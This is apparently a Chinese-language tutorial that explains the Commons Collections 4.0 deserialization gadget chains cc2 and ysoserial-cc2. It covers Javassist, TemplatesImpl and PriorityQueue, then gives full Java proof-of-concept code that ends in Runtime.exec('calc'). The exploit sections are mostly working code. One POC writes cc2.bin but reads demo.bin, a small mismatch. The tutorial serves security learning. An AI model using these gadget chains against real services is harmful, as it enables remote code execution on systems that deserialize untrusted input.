前言
本篇文章分析国内的cc2和yso-cc2,较cc1,难度明显有提升,需要有前置学习一些知识。
以下为本篇文章新涉及的类以及组件,只做文章涉及的方法介绍,剩下的细节需要大家下来进行深度学习 。
- classloder
- javassist
- TemplatesImpl
- TransformingComparator
- PriorityQueue
前置知识
classloder
ClassLoader是类加载器,其具有方法defineClass能够获取字节码文件将其还原成class对象。
案例
package com.prophet; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class SerializeTest { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, CannotCompileException, IOException, NoSuchMethodException { ClassPool pool2=ClassPool.getDefault(); //创建新类Exp2 CtClass ct=pool2.makeClass("target.com.prophet.People2"); //创建构造函数 CtConstructor cons=ct.makeClassInitializer(); //向构造函数插入字节码 cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); ct.writeFile("./"); //生成字节码 byte[] bt=ct.toBytecode(); //通过反射调用ClassLoader#defineClass Method define=ClassLoader.class.getDeclaredMethod("defineClass", String.class ,byte[].class, int.class, int.class); define.setAccessible(true); Class cla=(Class)define.invoke(ClassLoader.getSystemClassLoader(),"target.com.prophet.People2",bt,0,bt.length); cla.newInstance(); } }
javassist
Javassist(Java编程助手)使Java字节码操作变得简单。它是一个用于在Java中编辑字节码的类库;它使Java程序能够在运行时定义一个新类,并在JVM加载时修改类文件。与其他类似的字节码编辑器不同,Javassist提供了两级API:源代码级和字节码级。如果用户使用源代码级API,他们可以在不知道Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇表设计。您甚至可以以源文本的形式指定插入的字节码;Javassist实时编译。另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件。
ClassPool
常用方法 | 描述 |
---|---|
getDefault() | 返回默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径) |
insertClassPath(java.lang.String pathname) | 在搜索路径的开头插入目录或jar(或zip)文件 |
insertClassPath(ClassPath cp) | 在搜索路径的开头插入类对象,当用户系统存在多个类加载器,默认加载getDefault()搜索不到加载类可使用该方法添加路径 |
getClassLoader() | 获得类加载器 |
get(java.lang.String classname) | 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用 |
getOrNull(java.lang.String classname) | 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用,未找到该文件返回null,不抛出异常 |
appendClassPath(ClassPath cp) | 将ClassPath对象附加到搜索路径的末尾 |
makeClass(java.lang.String classname) | 创建一个新的public类 |
CtClass
常用方法 | 描述 |
---|---|
setSuperclass(CtClass clazz) | 添加父类 |
setInterfaces | 添加父类接口 |
toClass(java.lang.invoke.MethodHandles.Lookup lookup) | 将此类转换为java.lang.Class对象 |
toBytecode() | 将该类转换为类文件,对象类型为byte[] |
writeFile() | 将由此CtClass 对象表示的类文件写入当前目录 |
writeFile(java.lang.String directoryName) | 将由此CtClass 对象表示的类文件写入本地磁盘 |
makeClassInitializer() | 制作一个空的类初始化程序(静态构造函数),对象类型为CtConstructor |
detach | 将CtClass对象从ClassPool池中删除 |
freeze | 冻结一个类,使其变为不可修改状态 |
isfreeze | 判断该类是否存于冻结状态 |
prune | 删除类不必要的属性,减少内存占用 |
deforst | 解冻一个类,使其变为可修改状态 |
addField | 添加字段 |
addMethod | 添加方法 |
addConstructor | 添加构造器 |
addInterface | 添加接口 |
CtMethods
常用方法 | 描述 |
---|---|
insertBefore | 在方法起始位置插入代码 |
insterAfter | 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception |
insertAt | 在指定位置插入代码 |
setBody | 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除 |
make | 创建一个方法 |
addParameter | 添加参数 |
setName | 设置方法名 |
案例
package com.prophet.javassist; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javassist.Modifier; import java.lang.reflect.Method; public class test { //1.添加main方法 public static void main(String[] args) throws Exception { //创建classPool类对象池 ClassPool classPool = ClassPool.getDefault(); //通过classPool类对象池创建一个Student类 CtClass student_ctClass = classPool.makeClass("target.com.test.javassist.Student"); //添加方法:参数1:方法的返回值类型你,参数2:方法名,参数3:方法的参数类型,参数4:方法所属的类 CtMethod mainMethod = new CtMethod(CtClass.voidType , "main" , new CtClass[]{classPool.get(String[].class.getName())},student_ctClass); //设置main方法的访问修饰符 mainMethod.setModifiers(Modifier.PUBLIC + Modifier.STATIC); //设置方法体 mainMethod.setBody("{System.out.println(\"hello world\");}"); //添加方法 student_ctClass.addMethod(mainMethod); //输出类的内容 student_ctClass.writeFile(); //实例化Student对象 Class aClass = student_ctClass.toClass(); Object obj = aClass.newInstance(); //反射调用Student对象的main方法 Method main_method = aClass.getDeclaredMethod("main" , String[].class); main_method.invoke(obj, (Object) new String[1]); } }
TemplatesImpl
可以看到defineTransletClasses方法调用defineClass对_bytecodes进行还原为class文件,但在前面有两个条件 _bytecodes不为空和_tfactory得进行实例化TransformerFactoryImpl,这里的bytecodes是一个二维数组,所有当我们想利用javassist生成字节码文件时需要将其转化成二维。
getTransletInstance方法上级调用,但也有条件限制,_class和_name不为空。
newTransformer上级调用,没有限制
同理,在上级调用getOutputProperties方法调用。
利用链
getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()
案例
public static void main(String[] args) throws Exception { //创建CtClass对象容器 ClassPool pool2=ClassPool.getDefault(); //pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //创建新类Exp2 CtClass ct=pool2.makeClass("People2"); //设置People2类的父类为AbstractTranslet,满足实例化条件 ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); //创建构造函数 CtConstructor cons=ct.makeClassInitializer(); //向构造函数插入字节码 cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); //javassist转换字节码并转化为二位数组 byte[] bytecode=ct.toBytecode(); byte[][] bytecodes=new byte[][]{bytecode}; //实例化TemplatesImpl对象 TemplatesImpl templates=TemplatesImpl.class.newInstance(); //设置满足条件属性_bytecodes为恶意构造字节码 setFieldValue(templates,"_bytecodes",bytecodes); //设置满足条件属性_class为空 setFieldValue(templates,"_class",null); //设置满足条件属性_name不为空,任意赋值都行 setFieldValue(templates,"_name","test"); //设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl() setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance()); //执行newTransformer()方法 templates.newTransformer(); //执行getOutputProperties(),getOutputProperties为newTransformer上层调用,执行效果相同,就是多了个执行步骤 templates.getOutputProperties(); } //通过反射给对象属性赋值,避免代码冗余繁琐 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
PriorityQueue
PriorityQueue队列常用方法:
add():添加数组元素,添加失败会抛出异常。
offer():添加数组元素,添加失败会返回false。
poll():取出队顶数组元素,并删除该元素,失败会抛出异常。
peek():查询队顶数组元素,但不删除该元素。
remove(): 取出队顶数组元素,并删除该元素,失败会返回null。
PriorityQueue队列实现用法:
PriorityQueue queue=new PriorityQueue<>(); //默认优先级队列,规则从小到大
PriorityQueue queue=new PriorityQueue<>( (a,b)->(b-a)); //设置比较器,从大到小排列
案例
package com.prophet; import java.io.*; import java.net.URISyntaxException; import java.util.PriorityQueue; public class SerializeTest { public static void main(String[] args) { PriorityQueue queue = new PriorityQueue<>(); //创建一个默认排序队列 queue.add(1); queue.add(3); queue.add(2); //从上往下三个数依次入队列 System.out.print("默认排序输出:"); for (int i = 1; i < 4; i++) { System.out.print(queue.poll()); } //依次出队列,进行输出 System.out.println(" "); PriorityQueue<Integer> queue1 = new PriorityQueue<>( (a,b)->(b-a)); //创建一个从大到小排序的队列 queue1.add(1); queue1.add(3); queue1.add(2); //从上往下三个数依次入队列 System.out.print("设置比较器输出:"); for (int i = 1; i < 4; i++) { System.out.print(queue1.poll()); } //依次出队列,进行输出 } }
环境准备
这里的cc组件切换到了4.0版本,另外新引入了javassist组件依赖(用于yso-cc2)。
<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency> </dependencies>
cc2
较之于cc1,我们新分析了TransformingComparator和PriorityQueue类,这里我们就解释下为什么在4.0不用AnnotationInvocationHandler作为入口类
3.2.1
4.0
可以看到在4.0版本readObject方法进行了修复,所以我们只能再找其他入口类。
TransformingComparator
可以看到TransformingComparator类的compare方法执行了transform,并且这里的transformer成员属性可以通过构造方法的第一个参数设置,修饰符为public,可以外部调用。
那么我们现在就需要找寻哪里执行 compare方法。
可以看到PriorityQueue类中的siftUpUsingComparator和siftDownUsingComparator方法内部调用了compare方法。
demo(第一部分)
package com.prophet.cc2; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; public class demo1 { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ //获取Runtime类对象 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //反射调用exec方法,并执行该方法 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chainedTransformer); //参数任意,因为执行第一个ConstantTransformer的transformer方法不需要管参数 comparator.compare(2, 1); } }
可以看到执行了两次命令,因为compare执行了两次transform。
PriorityQueue
siftDownUsingComparator
查看上级调用
siftDown
可以看到执行siftDownUsingComparator方法,但是有个条件 comparator不为空,这里构造方法可以通过第二个参数设置,public修饰,可以外部调用。
heapify
可以看到heapify方法中又调用了siftDown,这里有限制,就是size(队列长度)必须大于2,因为size为2时二进制为0010往右移一位变为1,再减去1变为0,刚好满足进入循环条件。
readObiect
readObject方法调用heapify方法,前面没有什么限制条件。
那么我们就知道了调用链。
ObjectInputStream.readObject() -PriorityQueue.readObject() -PriorityQueue.heapify() -PriorityQueue.siftDown() -PriorityQueue.siftDownUsingComparator() -TransformingComparator.compare() -ChainedTransformer.transform() -ConstantTransformer.transform() -InvokerTransformer.transform() -Method.invoke() -Class.getMethod() -InvokerTransformer.transform() -Method.invoke() -Runtime.getRuntime() -InvokerTransformer.transform() -Method.invoke() -Runtime.exec()
POC
package com.prophet.cc2; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.util.PriorityQueue; public class cc2Test { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ //获取Runtime类对象 new ConstantTransformer(Runtime.class), //反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), //反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), //反射调用exec方法,并执行该方法 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator comparator = new TransformingComparator(chainedTransformer);
//创新新队列 PriorityQueue queue = new PriorityQueue(comparator);
//满足size大于等于2 queue.add(new Object()); queue.add(new Object());
//反序列化流程 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin")); outputStream.writeObject(queue); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("demo.bin")); inputStream.readObject(); outputStream.close(); } }
yso-cc2
经过前面javassist的学习,我们知道了调用TemplatesImpl类的getOutputProperties方法即可完成恶意字节码的还原执行命令。
这里唯一的问题就是找寻getOutputProperties方法的外部调用,因为TemplatesImpl类自身的readObject方法没有进行调用。
那么我们就可以通过InvokerTransformer提前设置方法调用,相当于在使用其transfom方法时,内部方法不通过构造函数设置。
Constructor<?> constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("getOutputProperties");
下一个问题就是需要执行其transform,别忘了,可以用前面的compare方法。
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
当调用其compare方法时相当于invokerTransformer.transform(),内部方法查询名称事先设置为getOutputProperties。
最后的问题就是我们传进去的一定要是事先准备好的恶意类templates。
PriorityQueue queue=new PriorityQueue();
//设置size大小,满足大于2的条件
setFieldValue(queue,"size",2);
//设置比较器
setFieldValue(queue,"comparator",comparator);
//设置传递的队列元素,需要将templates对象传入,目的调用InvokerTransformer.transform(TemplatesImpl)
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(queue,"queue",list);
设置好,就大功告成了,我们动调跟踪下,看看能不能达到我们的目的。
完美,大功告成~~,下附POC。
POC
package com.prophet.cc2; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue; public class cc2_yso { public static void main(String[] args) throws Exception { //创建CtClass对象容器 ClassPool pool2=ClassPool.getDefault(); //创建新类Exp2 CtClass ct=pool2.makeClass("People2"); //设置People2类的父类为AbstractTranslet,满足实例化条件 ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); //创建构造函数 CtConstructor cons=ct.makeClassInitializer(); //向构造函数插入字节码 cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); //javassist转换字节码并转化为二位数组 byte[] bytecode=ct.toBytecode(); byte[][] bytecodes=new byte[][]{bytecode}; //实例化TemplatesImpl对象 TemplatesImpl templates=TemplatesImpl.class.newInstance(); //设置满足条件属性_bytecodes为恶意构造字节码 setFieldValue(templates,"_bytecodes",bytecodes); //设置满足条件属性_class为空 setFieldValue(templates,"_class",null); //设置满足条件属性_name不为空,任意赋值都行 setFieldValue(templates,"_name","test"); //设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl() setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance()); Constructor<?> constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); constructor.setAccessible(true); InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("getOutputProperties"); TransformingComparator comparator = new TransformingComparator(invokerTransformer); //设置优先级队列对象 PriorityQueue queue=new PriorityQueue(); //设置size大小,满足大于2的条件 setFieldValue(queue,"size",2); //设置比较器 setFieldValue(queue,"comparator",comparator); //设置传递的队列元素,需要将templates对象传入,目的调用InvokerTransformer.transform(TemplatesImpl) Object[] list=new Object[]{templates,1}; //向PriorityQueue队列添加元素 setFieldValue(queue,"queue",list); //最后生成序列化文件,反序列化实现命令执行 try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.bin")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.bin")); inputStream.readObject(); inputStream.close(); }catch(Exception e){ e.printStackTrace(); } } //通过反射给对象属性赋值,避免代码冗余繁琐 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }